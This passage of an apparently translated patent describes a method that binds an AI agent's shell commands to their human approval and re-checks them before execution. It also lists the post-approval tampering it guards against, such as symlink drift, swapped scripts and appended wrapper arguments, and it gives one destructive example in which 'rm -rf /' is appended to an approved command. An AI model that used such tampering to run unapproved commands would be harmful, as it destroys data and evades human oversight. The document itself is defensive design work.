[0150] (vii) Verification of consistency between the original command text or shell payload

[0151] The structured execution elements also include the original command text or shell payload; the consistency check includes: comparing the original text of the current command to be executed with the original command text in the approval binding record, and if they are inconsistent, the check is deemed to have failed.

[0152] In addition to the structured fields, the raw command text is also retained as a redundant check. The raw text of the current command to be executed (normalized to Unicode but without any other semantic alterations) is compared with the raw command text in B0. While the structured checks are sufficient, this field can be used for auditing or to quickly identify obvious tampering.

[0153] For example, the original command text during approval was `cat "data.txt"`. Before execution, the text was changed to `cat "data.txt" && rm -rf / `. String comparison revealed a difference, and validation failed.

[0154] (viii) Risk scoring model and dynamic decision-making

[0155] The risk score is calculated based on one or more of the following: analytical uncertainty, wrapper chain complexity, variable file operand risk, post-approval drift, and path sensitivity.

[0156] When the risk score exceeds the preset threshold, even if the consistency check passes, the process will be rejected, the approval process will be re-initiated, or a manual review will be required.

[0157] Even if all the above consistency checks pass, this method can still calculate risk scores based on multiple dimensions for more granular control. Optional dimensions include:

[0158] Resolution uncertainty (U): Whether there is fuzzy syntax in the instruction, such as default behavior when a variable is not defined.

[0159] Wrapper chain complexity (W): The number of nested wrappers, or the use of very rare wrappers.

[0160] Risks associated with variable file operands (M): Whether the script file has write permissions, is located in a temporary directory, etc.

[0161] Post-approval drift (D): D = 1 - ΠI_k, where D is 0 if completely consistent, but some fields may not be included in hard checks. Π is a multiplication sign, and I_k is the consistency indicator function for the k-th field. For field k, if the value in the approval-bound record is consistent with the value in the currently executed element, then I_k = 1; otherwise, I_k = 0.

[0162] Path sensitivity (P): Whether the working directory or executable file path contains high-risk areas such as / tmp, / dev / shm.

[0163] The risk score is obtained by summing the values ​​of each dimension multiplied by configurable weights (α, β, γ, δ, ε). If the score exceeds a preset threshold, the execution control module may refuse execution, require re-approval, or force manual review, even if the consistency check passes.

[0164] For example, a certain instruction passes all hard consistency checks, but has high resolution uncertainty (e.g., default expansion containing undefined variables), and its operand script is located in the / tmp directory (high risk), resulting in a risk score of 85 (threshold 70). In this case, the execution control module refuses to execute automatically and instead sends a manual review request: "The instruction passes consistency checks but has a high risk score; please confirm whether to execute." The reviewer decides to refuse.

[0165] Step S5: Execute the instruction when the consistency check passes; refuse to execute, re-initiate the approval process, or request manual review when the consistency check fails.

[0166] Please see the appendix Figure 4 Existing approval processes typically only approve the command text once: the user sees a command string (e.g., python run.py), clicks "approv," and the proxy directly executes the command text. Throughout this process, there is no binding of the actual execution elements of the command (such as working directory, environment variables, parameter boundaries, executable file path, script content, etc.), nor is there a pre-execution re-validation step. Therefore, any changes occurring within the time window between approval completion and actual execution (script replacement, symbolic link tampering, wrapper parameter appending, etc.) are undetectable, allowing attackers to easily bypass the approval process.

[0167] Please see the appendix Figure 5 The approval binding and pre-execution re-verification process described in this embodiment includes two key stages: the approval binding stage and the pre-execution re-verification stage. In the approval binding stage, this method records all structured execution elements, such as command text, parameter vector, working directory identity, environment variable snapshot, proxy identity, session identity, executable file real path, wrapper chain, and variable file operand digest, into an immutable binding record. Then, the pre-execution re-verification stage begins: before actually calling any execution interface, the currently pending instruction is re-parsed to obtain the current execution elements, and each item is checked for consistency with the items in the binding record. Only after all verifications pass does the final execution step commence.

[0168] Step S5 is responsible for making the final control decision based on the verification results, which is divided into the following three scenarios:

[0169] (1) Consistency check passed

[0170] When all key elements (parameter vector, working directory and file system identity, key environment variables, agent identity, session identity, executable file path, wrapper chain, variable file operand digest, raw command text, etc.) are consistent with the approval binding record, and the risk score does not exceed the preset threshold (if this model is enabled), the verification is considered successful. At this time, the execution control module allows the execution of the instruction. For records with an approval mode of allow-once, the binding record is immediately marked as "consumed" after execution to prevent the same approval from being reused.

[0171] (2) If the consistency check fails, execution is refused.

[0172] If any key element is inconsistent—for example, the number or value of parameters changes, the canonical path or inode of the working directory changes, key environment variables (such as PATH, LD_PRELOAD) differ from those at the time of approval, additional parameters are added to the wrapper chain, the actual path of the executable file is tampered with, the script file content digest does not match, or the agent identity or session identity is inconsistent—the validation fails. In this case, the execution control module directly refuses to execute the instruction and returns a failure reason to the agent or approver, such as "working directory symbolic link drift" or "wrapper chain inconsistency." After execution is refused, the approval binding record will not be consumed, and the agent can choose to resubmit the instruction and initiate approval again.

[0173] (3) If the consistency check fails, re-initiate the approval process or request manual review.

[0174] In some scenarios, directly rejecting execution may be too strict. Allowing for a fallback processing method based on configuration is possible: First, re-initiate the approval process, automatically jumping back to the approval stage and resending the current execution elements (or difference information) to the approval end, requesting the user to confirm again; second, require manual review, suspending execution and sending the current difference report to the administrator or security operations personnel, who can then manually decide whether to approve, reject, or modify the instruction.

[0175] Existing technologies rely solely on one-time command text approval, failing to defend against any drift or bypassing behavior that occurs after approval. This embodiment employs a two-step mechanism of "approval binding + pre-execution re-verification," using consistency verification as the final line of defense before execution. Step S5 is precisely the control switch for this line of defense: if the verification passes, execution is carried out; if the verification fails, execution is rejected according to the security policy, requiring re-approval or manual review, thereby ensuring that "the approved instruction is the final instruction executed."

[0176] On the other hand, this embodiment provides an agent-oriented instruction approval binding and consistency verification system, please refer to the appendix. Figure 6 ,include:

[0177] The parsing module 100 receives the instruction execution request submitted by the agent, parses the instruction execution request, and obtains structured execution elements;

[0178] The binding module 200 generates an approval binding record based on the structured execution elements and sends an approval request corresponding to the approval binding record to the approval end.

[0179] The secondary parsing module 300 re-parses the instruction to be executed after the approval request is approved and before the actual execution of the instruction to obtain the current execution elements.

[0180] The verification module 400 performs a consistency verification between the current execution element and the structured execution element in the approval binding record;

[0181] The judgment module 500 executes the instruction when the consistency check passes, and refuses to execute, re-initiates the approval process, or requests manual review when the consistency check fails.

[0182] Please see Figure 7 The diagram shown is a structural schematic of an electronic device provided in an embodiment of this specification.

[0183] like Figure 7 As shown, the electronic device 1100 may include: at least one processor 1101, at least one network interface 1104, a user interface 1103, a memory 1105, and at least one communication bus 1102. The communication bus 1102 can be used to connect and communicate with the various components mentioned above. The user interface 1103 may include buttons, and optionally may include standard wired or wireless interfaces. The network interface 1104 may include, but is not limited to, a Bluetooth module, an NFC module, or a Wi-Fi module. The processor 1101 may include one or more processing cores. The processor 1101 connects to various parts within the electronic device 1100 using various interfaces and lines, and performs various functions of the routing device and processes data by running or executing instructions, programs, code sets, or instruction sets stored in the memory 1105, and by calling data stored in the memory 1105. Optionally, the processor 1101 may be implemented using at least one hardware form of DSP, FPGA, or PLA. The processor 1101 may integrate one or more combinations of CPU, GPU, and modem. The CPU primarily handles the operating system, user interface, and applications; the GPU is responsible for rendering and drawing the content that the display screen needs to show; and the modem is used for wireless communication.

[0184] It is understandable that the aforementioned modem may not be integrated into the processor 1101, but may be implemented using a separate chip.

[0185] The memory 1105 may include RAM or ROM. Optionally, the memory 1105 may include a non-transitory computer-readable medium. The memory 1105 may be used to store instructions, programs, code, code sets, or instruction sets. The memory 1105 may include a program storage area and a data storage area, wherein the program storage area may store instructions for implementing an operating system, instructions for at least one function (such as touch function, sound playback function, image playback function, etc.), instructions for implementing the above-described method embodiments, etc.; the data storage area may store data involved in the above-described method embodiments, etc. Optionally, the memory 1105 may also be at least one storage device located remotely from the aforementioned processor 1101. As a computer storage medium, the memory 1105 may include an operating system, a network communication module, a user interface module, and application programs. The processor 1101 may be used to call the application programs stored in the memory 1105 and execute the methods in the above-described embodiments.

[0186] This specification also provides a computer-readable storage medium storing instructions that, when executed on a computer or processor, cause the computer or processor to perform multiple steps as described in the above embodiments. If the constituent modules of the above-described electronic device are implemented as software functional units and sold or used as independent products, they can be stored in the computer-readable storage medium.

[0187] This specification also provides a computer program product, including a computer program that, when executed by a processor, implements the multiple steps described in the above embodiments.

[0188] Where there is no conflict, the technical features in this embodiment and implementation scheme can be combined arbitrarily.

[0189] In the above embodiments, implementation can be achieved, in whole or in part, through software, hardware, firmware, or any combination thereof. When implemented using software, it can be implemented, in whole or in part, as a computer program product. The computer program product includes multiple computer instructions. When the computer program instructions are loaded and executed on a computer, all or part of the processes or functions described in the embodiments of this specification are generated. The computer can be a general-purpose computer, a special-purpose computer, a computer network, or other programmable device. The computer instructions can be stored in a computer-readable storage medium or transmitted through the computer-readable storage medium. The computer instructions can be transmitted from one website, computer, server, or data center to another website, computer, server, or data center via wired (e.g., coaxial cable, fiber optic, Digital Subscriber Line (DSL)) or wireless (e.g., infrared, wireless, microwave, etc.) means. The computer-readable storage medium can be any available medium accessible to a computer or a data storage device such as a server or data center integrating multiple available media. The available media may be magnetic media (e.g., floppy disks, hard disks, magnetic tapes), optical media (e.g., digital versatile discs (DVDs)), or semiconductor media (e.g., solid-state drives (SSDs)).

[0190] When implemented through hardware or firmware, the aforementioned method flow is programmed into the hardware circuit to obtain the corresponding hardware circuit structure and achieve the corresponding function. For example, a Programmable Logic Device (PLD) (such as a Field Programmable Gate Array (FPGA)) is such an integrated circuit, whose logic function is determined by the user programming the device. Designers can program a digital system onto a PLD themselves, eliminating the need for chip manufacturers to design and fabricate dedicated integrated circuit chips. Furthermore, nowadays, instead of manually fabricating integrated circuit chips, this programming is mostly implemented using "logic compiler" software, similar to the software compiler used in program development. The original code before compilation must also be written in a specific programming language, called a Hardware Description Language (HDL). There is not just one HDL, but many. Those skilled in the art should understand that by simply performing some logic programming on the method flow using one of the aforementioned hardware description languages ​​and programming it into an integrated circuit, the hardware circuit implementing the logical method flow can be easily obtained.

[0191] The embodiments described above are merely preferred embodiments of this specification and are not intended to limit the scope of this specification. Any modifications and improvements made by those skilled in the art to the technical solutions of this specification without departing from the spirit of this specification should fall within the protection scope defined by the claims of this specification.< / zwsp>

Claims

1. A method for agent-oriented instruction approval binding and consistency verification, characterized in that, Including the following steps: Receive instruction execution requests submitted by the agent, parse the instruction execution requests, and obtain structured execution elements; An approval binding record is generated based on the structured execution elements, and an approval request corresponding to the approval binding record is sent to the approval end. After the approval request is approved but before the actual execution of the instruction, the instruction to be executed is re-parsed to obtain the current execution elements; Perform a consistency check between the current execution element and the structured execution element in the approval binding record; The instruction is executed when the consistency check passes; otherwise, execution is rejected, approval is re-initiated, or manual review is required.

2. The agent-oriented instruction approval binding and consistency verification method according to claim 1, characterized in that, The approval binding record includes an approval mode field, which includes single approval, session-based approval, or policy-based approval. When the approval mode is single approval, the method further includes marking the approval binding record as consumed after the consistency check passes and the instruction is executed. If the same approval identifier is received again, the execution is rejected or a re-approval is required. When the approval mode is session-based approval, consistency verification is performed only before the first execution in multiple command executions within the same session, and subsequent commands reuse the binding record that passed the first verification.

3. The agent-oriented instruction approval binding and consistency verification method according to claim 1, characterized in that, The structured execution elements include instruction parameter vector, working directory, execution environment, agent identity, session identity, executable file parsing results, and variable file operands. The variable file operands include the script file, the interpreter parameter file, the actual path to the package manager execution target file, and a content summary; When generating the approval binding record, the content summary of the file is calculated and saved; The consistency check includes recalculating the content digest of the current corresponding file before execution and comparing it with the saved digest. If they are inconsistent, the check is deemed to have failed.

4. The agent-oriented instruction approval binding and consistency verification method according to claim 3, characterized in that, The structured execution elements also include a wrapper chain parsed from the original command, the wrapper chain including one or more of env, sh -c, cmd / c, PowerShell, npm exec, npx, pnpm exec, and tsx; The consistency check includes comparing whether the wrapper chain of the currently executed request is consistent with the wrapper chain in the approval binding record. If they are inconsistent, the check is deemed to have failed. or, The structured execution elements of the execution environment include a set of key environment variables that affect the semantics of instruction execution. These key environment variables include one or more of PATH, BASH_ENV, LD_PRELOAD, NODE_OPTIONS, and PYTHONPATH. The consistency check includes comparing the values ​​of the key environment variables in the current execution environment with those in the approval binding record. If they are inconsistent, the check is deemed to have failed. or, The structured execution elements also include agent identity identifiers and session identity identifiers; The consistency check includes checking whether the proxy identity and session identity of the currently executed request are consistent with the proxy identity and session identity in the approval binding record. If any inconsistency exists, the check is deemed to have failed. or, The executable file parsing result includes the actual path of the executable file after being parsed through the system PATH environment variable, and the file system identity information corresponding to that path; The consistency check includes re-parsed the actual executable file path corresponding to the current instruction before execution and compared it with the executable file path in the approval binding record. If they are inconsistent, the check is deemed to have failed. or, The consistency check of the working directory includes detecting whether symbolic links in the working directory path have changed from approval to execution. If the actual path of the working directory changes but the original path string remains the same, then symbolic link drift is determined to have occurred, and the verification fails. The structured execution elements also include the original command text or shell payload; the consistency check includes: comparing the original text of the current command to be executed with the original command text in the approval binding record, and if they are inconsistent, the check is deemed to have failed.

5. The agent-oriented instruction approval binding and consistency verification method according to claim 3, characterized in that, The risk score is calculated based on one or more of the following: analytical uncertainty, wrapper chain complexity, variable file operand risk, post-approval drift, and path sensitivity. When the risk score exceeds the preset threshold, even if the consistency check passes, the process will be rejected, the approval process will be re-initiated, or a manual review will be required. The structured execution elements of the working directory include the actual path of the working directory, the file system device number, and the file system inode number; When generating the approval binding record, obtain and save the actual path, device number, and inode number of the current working directory; The consistency check also includes re-acquiring the real path, device number, and inode number of the current working directory before execution, and comparing them with the corresponding information stored in the approval binding record. If any of them are inconsistent, the check is deemed to have failed. The instruction parameter vector is a parsed parameter list, where each parameter maintains an independent boundary and is not recombined or concatenated. The consistency check includes comparing the parameter vector of the currently executed request with the parameter vector in the approval binding record. The comparison includes whether the number of parameters is equal and whether the parameter value at each position is exactly the same. If the number of parameters is different or the parameter value at any position is different, the verification is deemed to have failed.

6. The agent-oriented instruction approval binding and consistency verification method according to claim 1, characterized in that, Before parsing the instruction execution request, the following steps are performed: Perform Unicode normalization on the instruction text and remove or explicitly escape zero-width characters, format control characters, compatibility characters, and marker characters; When parsing the instruction execution request, the following steps are also performed: Determine whether there are any shell structures that cannot be reliably parsed. The shell structures that cannot be reliably parsed include command substitution, backticks, unclosed heredoc, command substitution in heredoc, dangerous line break continuation, and inline loaders that cannot uniquely bind script operands. If a shell structure that cannot be reliably parsed exists, execution will be refused or a manual review request will be issued.

7. An agent-oriented instruction approval binding and consistency verification system, characterized in that, include: The parsing module receives instruction execution requests submitted by the agent, parses the instruction execution requests, and obtains structured execution elements; The binding module generates an approval binding record based on the structured execution elements and sends an approval request corresponding to the approval binding record to the approval end. The secondary parsing module re-parses the instruction to be executed after the approval request is approved and before the actual execution of the instruction to obtain the current execution elements; The verification module performs a consistency verification between the current execution element and the structured execution element in the approval binding record; The judgment module executes the instruction when the consistency check passes, and refuses to execute, re-initiates the approval process, or requests manual review when the consistency check fails.

8. An electronic device, characterized in that, Including the processor and memory; The processor is connected to the memory; The memory is used to store executable program code; The processor runs a program corresponding to the executable program code stored in the memory to perform the method as described in any one of claims 1-6.

9. A computer-readable storage medium having a computer program stored thereon, characterized in that, When the computer program is executed by a processor, it implements the method as described in any one of claims 1-6.

10. A computer program product, comprising a computer program, characterized in that, When the computer program is executed by a processor, it implements the method as described in any one of claims 1-6.

Images